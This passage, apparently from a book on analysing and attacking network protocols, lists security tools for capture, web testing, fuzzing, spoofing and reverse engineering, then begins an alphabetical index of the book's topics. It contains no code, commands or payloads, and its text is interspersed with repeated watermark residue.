Netcat has many variants, which, annoyingly, all use different command line options. But they all do pretty much the same thing. Nmap Website https://nmap.org/ License GPLv2 Platforms BSD, Linux, macOS, Windows Technet24 |||||||||||||||||||| |||||||||||||||||||| If you need to scan the open network interface on a remote system, nothing is better than Nmap. It supports many different ways to elicit responses from TCP and UDP socket servers, as well as different analysis scripts. It’s invaluable when you’re testing an unknown device. Web Application Testing Although this book does not focus heavily on testing web applications, doing so is an important part of network protocol analysis. One of the most widely used protocols on the internet, HTTP is even used to proxy other protocols, such as DCE/RPC, to bypass firewalls. Here are some of the tools I use and recommend. Burp Suite Website https://portswigger.net/burp/ License Commercial; limited free version is available Platforms Supported Java platforms (Linux, macOS, Solaris, Windows) Burp Suite is the gold standard of commercial web application–testing tools. Written in |||||||||||||||||||| |||||||||||||||||||| Java for maximum cross-platform capability, it provides all the features you need for testing web applications, including built-in proxies, SSL decryption support, and easy extensibility. The free version has fewer features than the commercial version, so consider buying the commercial version if you plan to use it a lot. Zed Attack Proxy (ZAP) Website https://www.owasp.org/index.php/ZAP License Apache License v2 Platforms Supported Java platforms (Linux, macOS, Solaris, Windows) If Burp Suite’s price is beyond reach, ZAP is a great free option. Developed by OWASP, ZAP is written in Java, can be scripted, and can be easily extended because it’s open source. Mitmproxy Technet24 |||||||||||||||||||| |||||||||||||||||||| Website https://mitmproxy.org/ License MIT Platforms Any Python-supported platform, although the program is somewhat limited on Windows Mitmproxy is a command line–based web application–testing tool written in Python. Its many standard features include interception, modification, and replay of requests. You can also include it as a separate library within your own applications. Fuzzing, Packet Generation, and Vulnerability Exploitation Frameworks Whenever you’re developing exploits for and finding new vulnerabilities, you’ll usually need to implement a lot of common functionality. The following tools provide a framework, allowing you to reduce the amount of standard code and common functionality you need to implement. American Fuzzy Lop (AFL) |||||||||||||||||||| |||||||||||||||||||| Website http://lcamtuf.coredump.cx/afl/ License Apache License v2 Platforms Linux; some support for other Unix-like platforms Don’t let its cute name throw you off. American Fuzzy Lop (AFL) may be named after a breed of rabbit, but it’s an amazing tool for fuzz testing, especially on applications that can be recompiled to include special instrumentation. It has an almost magical ability to generate valid inputs for a program from the smallest of examples. Kali Linux Website https://www.kali.org/ Licenses A range of open source and non-free licenses depending on the packages used Platforms ARM, Intel x86 and x64 Kali is a Linux distribution designed for penetration testing. It comes pre-installed with Nmap, Wireshark, Burp Suite, and various other tools listed in this appendix. Kali is Technet24 |||||||||||||||||||| |||||||||||||||||||| invaluable for testing and exploiting network protocol vulnerabilities, and you can install it natively or run it as a live distribution. Metasploit Framework Website https://github.com/rapid7/metasploit-framework/ License BSD, with some parts under different licenses Platforms BSD, Linux, macOS, Windows Metasploit is pretty much the only game in town when you need a generic vulnerability exploitation framework, at least if you don’t want to pay for one. Metasploit is open source, is actively updated with new vulnerabilities, and will run on almost all platforms, making it useful for testing new devices. Metasploit provides many built-in libraries to perform typical exploitation tasks, such as generating and encoding shell code, spawning reverse shells, and gaining elevated privileges, allowing you to concentrate on developing your exploit without having to deal with various implementation details. Scapy Website http://www.secdev.org/projects/scapy/ License GPLv2 Platforms Any Python-supported platform, although it works best on Unix-like platforms Scapy is a network packet generation and manipulation library for Python. You can use it to build almost any packet type, from Ethernet packets through TCP or HTTP packets. You can replay packets to test what a network server does when it receives them. This functionality makes it a very flexible tool for testing, analysis, or fuzzing of network protocols. Sulley Website https://github.com/OpenRCE/sulley/ License GPLv2 Platforms Any Python-supported platform Sulley is a Python-based fuzzing library and framework designed to simplify data representation, transmission, and instrumentation. You can use it to fuzz anything from file formats to network protocols. |||||||||||||||||||| |||||||||||||||||||| Network Spoofing and Redirection To capture network traffic, sometimes you have to redirect that traffic to a listening machine. This section lists a few tools that provide ways to implement network spoofing and redirection without needing much configuration. DNSMasq Website http://www.thekelleys.org.uk/dnsmasq/doc.html License GPLv2 Platform Linux The DNSMasq tool is designed to quickly set up basic network services, such as DNS and DHCP, so you don’t have to hassle with complex service configuration. Although DNSMasq isn’t specifically designed for network spoofing, you can repurpose it to redirect a device’s network traffic for capture, analysis, and exploitation. Ettercap Website https://ettercap.github.io/ettercap/ License GPLv2 Platforms Linux, macOS Ettercap (discussed in Chapter 4) is a man-in-the-middle tool designed to listen to network traffic between two devices. It allows you to spoof DHCP or ARP addresses to redirect a network’s traffic. Executable Reverse Engineering Reviewing the source code of an application is often the easiest way to determine how a network protocol works. However, when you don’t have access to the source code, or the protocol is complex or proprietary, network traffic–based analysis is difficult. That’s where reverse engineering tools come in. Using these tools, you can disassemble and sometimes decompile an application into a form that you can inspect. This section lists several reverse engineering tools that I use. (See the discussion in Chapter 6 for more details, examples, and explanation.) Java Decompiler (JD) Website http://jd.benow.ca/ Technet24 |||||||||||||||||||| |||||||||||||||||||| License GPLv3 Platforms Supported Java platforms (Linux, macOS, Solaris, Windows) Java uses a bytecode format with rich metadata, which makes it fairly easy to reverse engineer Java bytecode into Java source code using a tool such as the Java Decompiler. The Java Decompiler is available with a stand-alone GUI as well as plug-ins for the Eclipse IDE. IDA Pro Website https://www.hex-rays.com/ License Commercial; limited free version available Platforms Linux, macOS, Windows IDA Pro is the best-known tool for reverse engineering executables. It disassembles and decompiles many different process architectures, and it provides an interactive environment to investigate and analyze the disassembly. Combined with support for custom scripts and plug-ins, IDA Pro is the best tool for reverse engineering executables. Although the full professional version is quite expensive, a free version is available for noncommercial use; however, it is restricted to 32-bit x86 binaries and has other |||||||||||||||||||| |||||||||||||||||||| limitations. Hopper Website http://www.hopperapp.com/ License Commercial; a limited free trial version is also available Platforms Linux, macOS Hopper is a very capable disassembler and basic decompiler that can more than match many of the features of IDA Pro. Although as of this writing Hopper doesn’t support the range of processor architectures that IDA Pro does, it should prove more than sufficient in most situations due to its support of x86, x64, and ARM processors. The full commercial version is considerably cheaper than IDA Pro, so it’s definitely worth a look. ILSpy Website http://ilspy.net/ Technet24 |||||||||||||||||||| |||||||||||||||||||| License MIT Platform Windows (with .NET4) ILSpy, with its Visual Studio–like environment, is the best supported of the free .NET decompiler tools. .NET Reflector Website https://www.red-gate.com/products/dotnet-development/reflector/ License Commercial Platform Windows Reflector is the original .NET decompiler. It takes a .NET executable or library and converts it into C# or Visual Basic source code. Reflector is very effective at producing readable source code and allowing simple navigation through an executable. It’s a great tool to have in your arsenal. |||||||||||||||||||| |||||||||||||||||||| Technet24 |||||||||||||||||||| |||||||||||||||||||| INDEX Symbols and Numbers \ (backlash), 47, 220 / (forward slash), 81, 220 - (minus sign), 55 + (plus sign), 55 7-bit integer, 39–40 8-bit integer, 38–39 32-bit system, 263 32-bit value, 40–41 64-bit system, 263 64-bit value, 40–41 8086 CPU, 114 A A5/1 stream cipher, 159 A5/2 stream cipher, 159 ABI (application binary interface), 123–124, 259–260 Abstract Syntax Notation 1 (ASN.1), 53–54 accept system call, 123 acknowledgment (DHCP packet), 72 acknowledgment flag (ACK), 41 active network capture, 20, 280–282. See also passive network capture add() function, 124 ADD instruction, 115 add_longs() method, 198 add_numbers() method, 197 Address Resolution Protocol (ARP), 6–7, 74–77 addresses, 4 32-bit, 5 destination, 5 MAC, 6–8, 74–77 |||||||||||||||||||| |||||||||||||||||||| source, 5 address sanitizer, 243–244 address space layout randomization (ASLR) bypassing with partial overwrites, 272–273 exploiting implementation flaws in, 271–272 memory information disclosure vulnerabilities, 270–271 Adleman, Leonard, 160 Advanced Encryption Standard (AES), 133, 150, 152 AJAX (Asynchronous JavaScript and XML), 57 algorithms complexity of, 224–225 cryptographic hashing, 164–165 Diffie–Helman Key Exchange, 162–164 hash, 165 key-scheduling, 151 message digest (MD), 164 MD4, 165 MD5, 133, 165–167 RSA, 149, 160–162, 165 secure hashing algorithm (SHA), 164, 202 SHA-1, 133, 165–166 SHA-2, 165 SHA-3, 168 signature, 146 asymmetric, 165 cryptographic hashing algorithms, 164–165 message authentication codes, 166–168 symmetric, 166 AMD, 114 American Fuzzy Lop, 285–286 AND instruction, 115 antivirus, 23 application, 3 content parsers, 4 network communication, 4 passive network traffic capture, 11 user interface, 4 Technet24 |||||||||||||||||||| |||||||||||||||||||| application binary interface (ABI), 123–124, 259–260 application layer, 3 apt command line utility, 31 arbitrary writing of memory, 253–254 ARM architecture, 42, 118 ARP poisoning, 74–77 ASCII character encoding, 42 code pages, 44 control characters, 43 printable characters, 43 text-encoding conversions, 229–230 ASLR. See address space layout randomization (ASLR) ASN.1 (Abstract Syntax Notation 1), 53–54 assembler, 113, 258 assemblies, 138 assembly language, 113 assembly loading, 190–193 asymmetric key cryptography, 159–164. See also symmetric key cryptography private key, 160 public key, 160 RSA algorithm, 160–162 RSA padding, 162 trapdoor functions, 160 asymmetric signature algorithms, 165 Asynchronous JavaScript and XML (AJAX), 57 AT&T syntax, 116 attributes (XML), 58 authentication bypass, 209 authorization bypass, 209–210 automated code, identifying, 133–134 B backslash (\), 47, 220 base class library, 141 |||||||||||||||||||| |||||||||||||||||||| Base64, 60–61 Berkeley packet filter (BPF), 180 Berkeley Sockets Distribution (BSD), 15 Berkeley Sockets model, 15, 121 big endian, 42, 52, 122 Big-O notation, 225 binary conversions, 90–92 binary protocols. See also protocols binary endian, 41–42 bit flags, 41 Booleans, 41 formats, 53–54 numeric data, 38–41 strings, 42–46 variable binary length data, 47–49 bind system call, 15 bit flags, 41 bit format, 38 block ciphers. See also stream ciphers AES, 150, 152 common, 152 DES, 150–151 initialization vector, 154 modes, 152–155 cipher block chaining, 153–155 Electronic Code Book, 152 Galois Counter, 155 padding, 155–156 padding oracle attack, 156–158 Triple DES, 151 Blowfish, 152 Booleans, 41, 55 BPF (Berkeley packet filter), 180 breakpoints, 135, 137 BSD (Berkeley Sockets Distribution), 15 bss data, 120 Bubble Sort, 224 Technet24 |||||||||||||||||||| |||||||||||||||||||| bucket, 225 buffer overflows fixed-length, 211–213 heap, 248–249 integer, 214–215 stack, 246–248 variable-length, 211, 213–214 Burp Suite, 283–284 bytes, 38 C C# language, 112, 189, 210 C++ language, 112, 132 ca.crt file, 203 CALL instruction, 115 Camellia, 152 Canape Core, 21–22, 25, 103–105, 280–281 Canape.Cli, xxiv, 202 canonicalization, 220–221 ca.pfx file, 203 capture.pcap file, 180 capturing network traffic active method, 20 passive method, 12–20 proxies HTTP, 29–35 man-in-the-middle, 20 port-forwarding, 21–24 SOCKS, 24–29 resending captured traffic, 182–183 system call tracing Dtrace, 17–18 Process Monitor tool, 18–19 strace, 16 carriage return, 56 carry flag, 117 |||||||||||||||||||| |||||||||||||||||||| CBC (cipher block chaining), 153–155 CDB (debugger), 236–241 cdecl, 199 cdll, 199 Cert Issuer, 200–202 Cert Subject, 200–201 certificate authority, 170, 202 chain verification, 170–172 pinning, 177 revocation list, 171 root, 170 store, 204 X.509, 53–54, 169–171, 173 certmgr.msc, 203 CFLAGS environment variable, 243 change cipher spec (TLS), 176 char types, 212 character encoding ASCII, 43 Unicode, 44–45 character mapping, 44–45 chat_server.csx script, 187 ChatClient.exe (SuperFunkyChat), 80–81, 200 ChatProgram namespace (.NET), 190 ChatServer.exe (SuperFunkyChat), 80 checksum, 93–94, 107 Chinese characters, 44 chosen plaintext attack, 162 CIL (common intermediate language), 137–138 Cipher and Hash algorithm, 202 cipher block chaining (CBC), 153–155 cipher feedback mode, 159 cipher text, 146 ciphers, 146 block, 150–159 Technet24 |||||||||||||||||||| |||||||||||||||||||| stream, 158–159 substitution, 147 CJK character sets, 44 CLANG C compiler, 243–244 C language, 112, 123, 132, 210, 212 Class files, 141 Class.forName() method (Java), 194 client certificate (TLS), 175 client random (TLS), 173 C library, 268 CLR (common language runtime), 137 CMD command, 255 CMP instruction, 115, 119 code error, 262 executable. See executable codes message authentication. See message authentication codes (MACs) pages (ASCII), 44 point, 44 section, 120 collision attacks, 166–168 collision resistance (hashing algorithm), 165 command injection, 228 common intermediate language (CIL), 137–138 common language runtime (CLR), 137 Common Object Request Broker Architecture (CORBA), 22 compiled languages, 113 compilers, 113, 132, 243 compression, 20, 108, 217 conditional branches, 118–119 CONNECT HTTP method, 30 Connect() method, 185, 192–193 CONNECT proxy, 32 connect system call, 15 content layer, 8–10 content parsers, 4 |||||||||||||||||||| |||||||||||||||||||| Content-Type values, 57 control characters (ASCII), 43 control flow, 118 control registers, 117 Conversations window (Wireshark), 84–85 cookies, 212, 273–276 CORBA (Common Object Request Broker Architecture), 22 counter mode, 159 CPU, 39 8086, 114 assembly language and, 113 exhaustion attacks, 224–226 instruction set architecture, 114–116 registers, 116–118 signed integers, 39 x86 architecture, 114–119, 125 crashes debugging, 238–240 example, 240–243 finding root cause of, 243–245 CreateInstance() method (.NET), 191 cron jobs, 254 cross-site scripting (XSS), 58 Crypt32.dll, 132 CryptoAllPermissionCollection.class, 142 cryptanalysis, 146 cryptography asymmetric key, 159–164 configurable, 226 hashing algorithms, 164–165 libraries, 132 symmetric key, 149–159 CS register, 116, 118 ctypes library (Python), 195 curl command line utility, 31 Technet24 |||||||||||||||||||| |||||||||||||||||||| D Dante, 27 data controlling flow of, 2 encapsulation, 4–7 endianness of, 41 formatting and encoding, 2 implicit-length, 48–49 inbound, 92 integrity, 164 numeric, 38–41 padded, 49 terminated, 47–48 transmission, 2, 6–7 variable-length, 56 Data Encryption Standard (DES), 150–151 data execution prevention (DEP), 267–268 data expansion attack, 217 DataFrame, 108 datagram, 5 datagram socket, 122 Datagram Transport Layer Security (DTLS), 172 data section, 120 dates, 49–50, 55 .ddl extension, 137–138 debuggers, 111, 134–137, 236–240, 243–245, 258–259 debugging, 236–243 analyzing crash in, 238–240 applications, 236 default or hardcoded credentials, 218 shell code, 258–259 starting, 236–237 debugging symbols package (dSYM), 131 DEC instruction, 115 decimal numbers, 55 decompilation, 113 |||||||||||||||||||| |||||||||||||||||||| decryption. See also encryption asymmetric, 160 block cipher, 150 breakpoints, 137 cipher block chaining, 155, 157–158 dealing with obfuscation, 143–144 padding, 155–157 RSA, 161, 165 TLS, 200–202 Triple DES, 151 default credentials, 218 default gateway, 8, 66 defined memory pools, 252–253 delimited text, 56 denial-of-service, 208 DEP (data execution prevention), 267–268 DER (Distinguished Encoding Rules), 53 DES (Data Encryption Standard), 150–151 DES cracker, 151 destination address, 5 destination network address translation (DNAT), 24, 68–71 DHCP. See Dynamic Host Configuration Protocol (DHCP) Diffie, Whitfield, 162 Diffie–Hellman Key Exchange (DH), 162–164 Digital Signature Algorithm (DSA), 165 disassembly, 113 discover (DHCP packet), 71 dissector() function, 99 dissector.lua file, 98 dissectors creating, 97 Lua, 99 message packet parsing, 100–103 Wireshark, 95–103 Distinguished Encoding Rules (DER), 53 DLL extension, 80, 120, 189 Technet24 |||||||||||||||||||| |||||||||||||||||||| DNAT (destination network address translation), 24, 68–71 DNSMasq, 287 dnsspoof, 34 Domain Name System (DNS) protocol, 3 Dotfuscator, 143–144 dotnet binary, 81 downgrade attack, 176 DSA (Digital Signature Algorithm), 165 DS register, 116, 118 dSYM (debugging symbols package), 131 Dtrace, 16–18 Dynamic Host Configuration Protocol (DHCP), 63, 66 packets, 71–72 spoofing, 71–74 dynamic libraries, 130, 195–196 dynamic linking, 113–114, 121 dynamic reverse engineering breakpoints, 135, 137 defined, 134 general purpose registers, 136 E EAX register, 116, 123, 242, 258, 270 EBP register, 116–117, 124 EBX register, 116, 124 ECDH (Elliptic Curve Diffie–Hellman), 202 ECX register, 116, 124 EDI register, 116–117, 124 EDX register, 116, 123–124 EFAULT, 262 EFLAGS register, 117, 119, 136 EIP register, 116–117, 135 Electronic Frontier Foundation, 151 elements (XML), 58 ELF (Executable Linking Format), 120, 131, 144 |||||||||||||||||||| |||||||||||||||||||| Elliptic Curve Diffie–Hellman (ECDH), 202 elliptic curves, 160 encoding Base64, 60–61 binary data, 59–61 hex, 59–60 percent, 60 encoding layer, 8–10 encryption, 20, 30. See also decryption AES, 133, 150, 152 asymmetric, 160 block cipher, 150 breakpoints, 137 cipher block chaining, 153–155 DES, 150–151 Electronic Code Book, 153 HTTP connection to, 108 key, 146 libraries, 132 magic constants, 133 one-time pad, 148 padding, 155 public key. See asymmetric key cryptography RSA, 155, 161 substitution ciphers, 147 TLS, 175–176, 200–206 Triple DES, 151 XOR, 108–109, 148–149, 153–154 encryption libraries, 132 endianness, 41–42 errno, 262 errors codes, 262 detecting and correcting, 2 off-by-one, 213 verbose, 221–222 ES register, 116, 118 Technet24 |||||||||||||||||||| |||||||||||||||||||| ESI register, 116, 124 ESP register, 116–117, 124, 136, 270 eth0, 180 Ethernet, 3 ARP poisoning, 74–75 frame, 6, 8 MAC addresses, 6, 74 network routing, 7–8 passive network capture, 12–13 simple network, 6 Ettercap, 72–75, 287–288 executable codes address space layout randomization, 272 file formats, 119–120 function calls in, 123 memory corruption and, 210, 246 partial overwrites, 272 repurposing, 188–199 in .NET applications, 189–193 in Java applications, 193–195 ROP gadgets, 269 system calls, 259 unmanaged, 195–199 executable file formats, 119–120, 137 Executable Linking Format (ELF), 120, 131, 144 .exe extension, 120, 137–138, 189 exit system call, 260–261 Extensible Markup Language (XML), 58 Extensible Messaging and Presence Protocol (XMPP), 58 F false, 55 fd argument, 261 Federal Information Processing Standard (FIPS), 151 Feistel network, 151 File Transfer Protocol (FTP), 24, 28 |||||||||||||||||||| |||||||||||||||||||| FILETIME (Windows), 50 Financial Information Exchange (FIX) protocol, 56 finished packet, 176 fixed-length buffer overflows, 211–213 floating-point data, 40–41 Follow Stream button (Wireshark), 85 Follow TCP Stream view (Wireshark), 88–89 footers, 4–5 format string vulnerability, 227 forward slash (/), 81, 220 forwarding HTTP proxy. See also reverse HTTP proxy advantages and disadvantages of, 31 redirecting traffic to, 30–31 simple implementation of, 30–31 fragmentation, 51–52 FreeBSD, 16 FreeCAP, 27 free-list, 251 frequency analysis, 147 FS register, 116, 118 FTP (File Transfer Protocol), 24, 28 function monitors, 111 fuzz testing defined, 234 mutation fuzzer, 235 simplest, 234 test cases, 235–236 tools American Fuzzy Lop, 285–286 Kali Linux, 286 Metasploit, 286 Scapy, 287 Sulley, 287 G Galois Counter Mode (GCM), 155 Technet24 |||||||||||||||||||| |||||||||||||||||||| gateway configuring, 66–67 ARP poisoning, 74–77 DHCP spoofing, 71–74 default, 8, 66 forwarding traffic to, 71–77 hops, 65 nodes, 64 routing tables on, 65–66 GB2312, 44 GCC compiler, 196 GCM (Galois Counter Mode), 155 GDB (debugger), 236–241 General Public License, 14 general purpose registers, 116–117, 136 GET request, 8, 29 GetConstructor method (.NET), 191 getDeclaredConstructor() (Java), 195 GetMethod() method (.NET), 192–193 Google, 170, 176–177 GS register, 116, 118 guard pages, 245 GUI registry editor, 67 GVSP protocol, 182 gzip, 217 H handshake, 172 hardcoded credentials, 218 hash table, 225 hashed message authentication codes (HMAC), 168–169 hashing algorithms collision resistance, 164 cryptographic, 164–165 nonlinearity of, 164 pre-image resistance, 164 |||||||||||||||||||| |||||||||||||||||||| secure, 164–165, 202 SHA-1, 133, 165–166 SHA-2, 165 SHA-3, 168 HEAD, 29 Header,, 4–5 C, 17, 262 Ethernet, 6 HTTP, 24, 32–34 IP, 6 system call number, 260 TCP, 5, 87 UDP, 5 heap buffer overflows, 248–249 heap implementations, 250–251 heap memory storage, 253 Hellman, Martin, 162 Hex Dump (Wireshark), 86–95 determining protocol structure in, 88–89 information columns in, 87 viewing individual packets in, 87 hex editor, 125 hex encoding, 59–60 Hex Rays, 125 high privileges, 254–255 HMAC (hashed message authentication codes), 168–169 Hopper, 289–290 hops, 65 host header, 24, 32–33 host order, 42 hosts file, 23, 34 Hping, 282 HTTP (HyperText Transport Protocol), 3, 56 host header, 24 network protocol analysis, 8–10 proxies. See also protocols forwarding, 29–31 Technet24 |||||||||||||||||||| |||||||||||||||||||| reverse, 32–35 I IBM, 151 ICS (Internet Connection Sharing), 69 IDA Pro, 289 analyzing stack variables and arguments in, 128 analyzing strings in, 132 debugger windows, 135–136 EIP window, 135 ESP window, 136 disassembly window, 127–128 extracting symbolic information in, 129–131 free version, 125–128 graph view, 126 identifying automated code in, 133–134 Imports window, 131–132 main interface, 127 viewing imported libraries in, 131–132 windows, 126–127 IEEE format, 40–41 IEEE Standard for Floating-Point Arithmetic (IEEE 754), 40 ILSpy, 138, 290 analyzing type in, 140–141 main interface, 139 Search window, 139 implicit-length data, 48–49 in-band method, 253 inbound bytes, 89–92 inbound data, 92 INC instruction, 115 incorrect resource access, 220–223 canonicalization, 220–221 verbose errors, 221–222 inet_pton, 122–123 information disclosure, 209 |||||||||||||||||||| |||||||||||||||||||| initialization vector, 154 inner padding block, 168 instruction set architecture (ISA), 114–116 integer overflows, 214–215 integers signed, 39 text protocols, 55 unsigned, 38 variable-length, 39–40 Intel, 114 Intel syntax, 116 Internet Connection Sharing (ICS), 69 Internet layer, 3 Internet Protocol (IP), 2 Internet Protocol Suite (IPS) data encapsulation, 4–7 data transmission, 6–7 defined, 3 layers, 3 network routing, 7–8 interpreted languages, 112 interpreters, 112 Invoke() method (.NET), 192–193 IP (Internet Protocol), 2 IP address 32-bit, 24 ARP poisoning, 74–77 data transmission, 6–7 destination, 18, 22 DNAT, 69–71 DNS spoofing, 34 hosts file, 34 NAT, 68 network routing, 7–8 reverse shell, 266 SNAT, 68 SOCKS connection, 25 Technet24 |||||||||||||||||||| |||||||||||||||||||| ipconfig command, 69 iptables command, 69 IPS. See Internet Protocol Suite (IPS) IPv4, 3, 5, 24, 52, 122 IPv6, 3, 5–6, 25, 52, 67 ISA (instruction set architecture), 114–116 J Japanese characters, 44 Java, 112, 210 applications, 141–142 reflection types, 194 repurposing codes in, 193–195 Java archive (JAR), 141, 193–194 Java byte code, 137 Java Decompiler, 288 Java Runtime, 27 JavaScript, 252 JavaScript Object Notation (JSON), 57–58 Java TCP client, 27 Jcc instruction, 115 JD-GUI, 142 JMP instruction, 115, 119 K Kali Linux, 286 kernel mode, 14 key-scheduling algorithm, 151 Korean characters, 44 Krypto Analyzer, 134 L least significant bit (LSB), 38 |||||||||||||||||||| |||||||||||||||||||| length-extension attacks, 166–168 length-prefixed data, 48 lengths, 107 LibPCAP, 278–279 line feed, 56 line oriented protocols, 56 linking, 113–114 link layer, 3, 6 Linux, 120 ASLR implementation flaws in, 272 configuring SNAT on, 69 cron jobs, 254 debug symbols, 129 debugger, 236–241 dynamic libraries, 196 enabling routing on, 67 error codes, 262 executable file format, 131 loading library on, 197 SOCKS proxy, 27 strace, 16 little endian, 42, 122 LLDB (debugger), 236–241 Load() method (.NET), 190 LoadFrom() method (.NET), 190 local variables, corrupting, 274–275 localhost, 12 low-privileged file writes, 255 Lua, 95–103 M MAC (Media Access Control) addresses, 6–7, 8, 74–77 machine code, 112–114, 120, 125 macOS, 16, 27–28, 120 debug symbols, 129 debugger, 236–241 Technet24 |||||||||||||||||||| |||||||||||||||||||| dynamic libraries, 196 enabling routing on, 67 Mach-O format, 120, 131, 144 MACs. See message authentication codes (MACs) magic constants, 132 mail application, 3 main thread, 121 Mallory, 281–282 malware, 23 man 2 syscall_name command, 16 managed languages Java, 141–142 .NET applications, 137–141 reverse engineering, 137–144 man-in-the-middle proxy, 20, 201 masquerading, 68 master secret (TLS), 175 MD algorithm. See message digest (MD) algorithm Media Access Control (MAC) addresses, 6–7, 8, 74–77 memory arbitrary writing of, 253–254 heap memory storage, 253 information disclosure vulnerabilities, 270–271 wasted, 250 memory canaries (cookies) bypassing by corrupting local variables, 274–275 bypassing with stack buffer underflow, 275–276 detecting stack overflows with, 273–276 memory corruption. See also vulnerabilities buffer overflows, 210–215 data expansion attack, 217 dynamic memory allocation failures, 217 exploit mitigations, 266–276 address space layout randomization, 270–273 data execution prevention, 266–267 return-oriented programming, 268–270 exploiting, 245–253 |||||||||||||||||||| |||||||||||||||||||| heap buffer overflows, 248–249 stack buffer overflows, 246–248 memory-safe vs. memory-unsafe languages, 210 off-by-one error, 213 out-of-bounds buffer indexing, 216–217 memory exhaustion attacks, 222–223 memory index registers, 117 memory sections, 120 memory-safe languages, 210 memory-unsafe languages, 210 Message Analyzer, 278 message authentication codes (MACs) collision attacks, 166–168 hashed, 168–169 length-extension attacks, 166–168 signature algorithms, 166–168 Message command, 101–102 message digest (MD) algorithm, 164 MD4, 165 MD5, 133, 165–167 message packet, 100–103 Metasploit, 286 accessing payloads, 265 advantages and disadvantages of, 265–266 executing payloads, 266 generating shell code with, 265–266 MethodInfo type (.NET), 192 Microsoft, 170 Microsoft Message Analyzer, 278 MIME (Multipurpose Internet Mail Extensions), 56–57 minus sign (-), 55 MIPS, 42, 137 Mitmproxy, 284–285 mnemonic instruction, 114 modulo arithmetic, 214 modulus, 161, 214 Technet24 |||||||||||||||||||| |||||||||||||||||||| mono binary, 80 Mono Project, 137 most significant bit (MSB), 38 MOV instruction, 115 Mozilla Firefox, 26 MSCORLIB, 141 MS-DOS, 119 msfvenom tool, 265–266 multibyte character sets, 44 multiplexing, 51–52 Multipurpose Internet Mail Extensions (MIME), 56–57 multitasking, 120 N namespace, 193 name-value pairs (XML), 58 nasm assembler, 256, 258, 263 NAT. See network address translation (NAT) .NET applications base class library, 141 file formats, 137–138 ILSpy, 138–141 reflection binding types, 192 reflection types, 190 repurposing codes in, 189–193 repurposing executable codes in assembly loading, 190–193 using Reflection APIs, 190 .NET Core, 80 .NET Reflector, 290–291 Netcat, 180–182, 234, 282 NetClientTemplate class, 184–185 netstat -r command, 65 Netwide Assembler, 256 network, 1 |||||||||||||||||||| |||||||||||||||||||| connectivity and protocol testing tools Hping, 282 Netcat, 282 Nmap, 282–283 monitoring connections with DTrace, 16–18 proxies, 20–35 routing, 7–8 network address, 7, 20, 22, 52–53, 66, 71, 123 network address translation (NAT), 68–71 defined, 68 destination, 24, 68 source, 68–69 network communication, 4 Berkeley Sockets model, 15 layers, 3 man-in-the-middle attack on, 20 symmetric ciphers, 150 user-to-kernel, 15 network interface, 121–124 client connection to TCP server, 122 TCP client connection to server, 121–122 Network News Transfer Protocol (NNTP), 59 network order, 42 newInstance() method (Java), 195 Nmap, 282–283 NNTP (Network News Transfer Protocol), 59 nodes, 1 gateway, 64 identifying through addressing, 2 no-execute (NX) mitigation, 267 nonlinearity, 165 nonpersistent denial-of-service, 208 NULL, 263–264 numeric data decimal numbers, 55 floating-point data, 40–41 integers, 55 Technet24 |||||||||||||||||||| |||||||||||||||||||| signed integers, 39 text protocols, 55 unsigned integers, 38 variable-length integers, 39–40 NX (no-execute) mitigation, 267 O OAEP (Optimal Asymmetric Encryption Padding), 162 obfuscation, 143–144 octets, 38–40 octet-stream, 57 off-by-one error, 213 offer (DHCP packet), 71 one-time pad encryption, 148 open system call, 18 OpenSSL, 132 operands, 115 operating system application binary interface, 123–124 executable file formats, 119–120 networking interface, 121–124 processes, 120–121 sections, 120 threads, 120–121 Optimal Asymmetric Encryption Padding (OAEP), 162 OR instruction, 115 outbound bytes, 89 outbound traffic, 89 outer padding block, 168 out-of-band method, 253 out-of-bounds buffer indexing, 216–217 output feedback mode, 159 overflow flag, 117 P |||||||||||||||||||| |||||||||||||||||||| package-private scoped classes, 193 packets, 6 calculating checksum of, 93–94 capturing, 83–84 finding, 87–88 identifying structure with Hex Dump, 86–95 sniffing, 12–14 viewing, 87–88 packing tools, 134 padded data, 49 padding block ciphers, 155–156 decryption, 155–157 encryption, 155 inner block, 168 OAEP, 162 oracle attack, 156–158 outer block, 168 RSA encryption, 155, 162 Page Heap, 244–245 parity flag, 117 Parser class, 106, 185 parser.csx script, 183–184 parsing binary conversion and, 90 decimal numbers and, 55 endianness of data and, 41 HTTP header, 33 message command, 101–102 message packet, 100–103 mutation fuzzer and, 235 protocol, 107–108 Python script for, 91 traffic, 183 URL, 230 variable-length integers, 40 partial overwrites, 272–273 Technet24 |||||||||||||||||||| |||||||||||||||||||| passive network capture advantages and disadvantages of, 19–20 Dtrace, 16–18 packet sniffing, 12–14 Process Monitor tool, 17–18 strace, 16 system call tracing, 14–16 tools LibPCAP, 278–279 Microsoft Message Analyzer, 278 TCPDump, 278–279 Wireshark, 12–13, 279–280 path, 220 $pc, 239 PDB (program database) file, 129–131 PDP-11, 42 PDU (protocol data unit), 4 PE (Portable Executable) format, 120, 134, 144 PEiD, 134 PEM format, 202 percent encoding, 60 perfect forward secrecy, 177 permutation boxes (P-Box), 152 persistent denial-of-service, 208 PGP (Pretty Good Privacy), 169 PHP, 255 PKI. See public key infrastructure (PKI) plain, 57 plaintext, 146 plus sign (+), 54 Point-to-Point Protocol (PPP), 3 POP3 (Post Office Protocol 3), 4 POP instruction, 115 port, 2 port numbers, 5 Portable Executable (PE) format, 120, 134, 144 |||||||||||||||||||| |||||||||||||||||||| port-forwarding proxy. See also proxies advantages and disadvantages of, 23–24 binding to network addresses, 22 redirecting traffic to, 22–23 simple implementation of, 21–22 POSIX, 15 POSIX/Unix time, 50 POST, 29 Post Office Protocol 3 (POP3), 4 PowerPC, 38 PPP (Point-to-Point Protocol), 3 Practical Packet Analysis, 14 pre-image resistance (hashing algorithm), 165 pre-master secret (TLS), 175 Pretty Good Privacy (PGP), 169 printable characters (ASCII), 43 printf function, 227 private Connect() method (.NET), 192 private exponent, 161 private key, 161, 165 PRNGs (pseudorandom number generators), 149 Process() method, 275–276 Process Monitor tool, 17–18 processes, 120–121 processor architectures, 42 program database (PDB) file, 129–131 program flow, 118–119 ProGuard, 143–144 promiscuous mode, 12 PROT_EXEC flag, 257 protocol data unit (PDU), 4 protocol stack, 3 protocols analysis, 8–10, 105–106 binary, 38–49 changing behavior of, 108–109 Technet24 |||||||||||||||||||| |||||||||||||||||||| checksum, 93–94 dates, 49–50 determining structure of, 88–89 fragmentation, 51–52 functions of, 2 multiplexing, 51–52 network address, 52–53 network connectivity and protocol testing Hping, 282 Netcat, 282 Nmap, 282–283 parsing, 107–108 security, 145–178 structured binary formats, 53–54 tag, length, value (TLV) pattern, 50–51 